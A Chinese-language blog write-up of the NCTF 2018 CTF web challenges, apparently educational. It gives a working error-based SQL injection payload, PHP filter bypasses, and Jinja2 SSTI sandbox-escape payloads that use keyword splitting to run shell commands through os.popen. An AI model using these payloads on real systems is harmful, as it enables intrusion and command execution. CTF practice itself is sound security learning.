NCTF 2018 复现

  这几周太忙了,一堆的实验课和大作业,这几天才把nctf2018从github上clone下来复现了一下。题目还是向萌新的,当然作为菜鸡我也是学到了不少东西。

签到题

打开看, flag就在headers里面

滴!晨跑打卡

​ 这道题挺简单的,用%a0代替空格,然后在最后闭合引号就可以注入了。因为可以回显mysql报错,所以直接报错注入了。按下面的payload就可以把数据库全部注入出来。

payload:

1'^updatexml(1,concat(0x7e,(select%a0database())),1)^'0

Go_Lakers

​ 这道题也很简单,post一个viewsource后就可以看到源码。

可以看到,根本不用绕过,header()后面的代码仍然是会执行的。

payload:

GET /nctf/go_lackers/?file_=Zm5lbTZ6dH4=

Easy_Audit

打开看是一道代码审计题

 

几个tricks,这类题目都是这样,不知道的话也就比较难办了

​ 题目接连对$_REQUEST$_SERVER['QUERY_STRING']进行了限制,首先我们知道$_REQUEST是包括$_GET$_POST$_COOKIE的。如果POST和GET的键值相同时,$_REQUEST会取POST的值,就会将GET值覆盖掉。这样就绕过了对GET参数的限制。而$_SERVER['QUERY_STRING'] 获取到的其实是没有urldecode的字符串,那我们urlencode后发送就可以了。

​ 下面的md5可以输入数组绕过。if(preg_match('/^nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun')这一句出题人写正则的时候忘了加^,所以写nctf=xxxnctfisfun就可以绕过。我贴出来的代码是作者希望我们写得题。绕过的方法也很简单,输入nctf=nctfisfun%0a就可以了。最后用data://协议输入数据

最后的payload:

flask真香

看到flask就想到SSTI,打开网站是一个炫酷的demo,随便点点就看到了404页面。

​ 可以证明存在SSTI了。我前面的文章也介绍了一下Python沙箱逃逸SSTI相关内容,如果对基本方法和绕过不熟悉的可以去看看。

​ 这道题过滤了request、class、eval、mro、init等内容,其实这些关键字都可以用我上面的SSTI那篇文章绕过。因为jinja2模板是可以用[]按键值取属性的,所以直接用''['__cla'+'ss__']代替[''.__class__]其他的类似。当然也可以用jinja2模板的过滤器绕过。

最后payload为:

/{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subcla'+'sses__']()[123]['__in'+'it__']['__glo'+'bals__']['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat%20/Th1s__is_S3cret").read()')}}

Flask PLUS

​ 和上题差不多,只是过滤了更多的关键字,如果这题按上题的做法仍然是没有问题的。但是如果是使用过滤器绕过,因为被过滤了join

payload:

{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subcl'+'asses__']()[123]['__in'+'it__']['__globals__']['__bui'+'ltins__']['e'+'val']('__imp'+'ort__("o'+'s").po'+'pen("cat%20/Th1s_is__F1114g").read()')}}

全球最大交友网站

git源码泄露,用工具把git下下来,回退历史看一下就可以看到flag了。

工具:dvcs-ripper

小绿草之最强大脑

这道题没什么意思,考的是python脚本?从备份文件中看到源码写脚本跑就好了。

基本操作

复现phpmyadmin4.8.1文件包含漏洞,对这个不清楚,正好趁着nctf练习一下。

发表评论

电子邮件地址不会被公开。 必填项已用*标注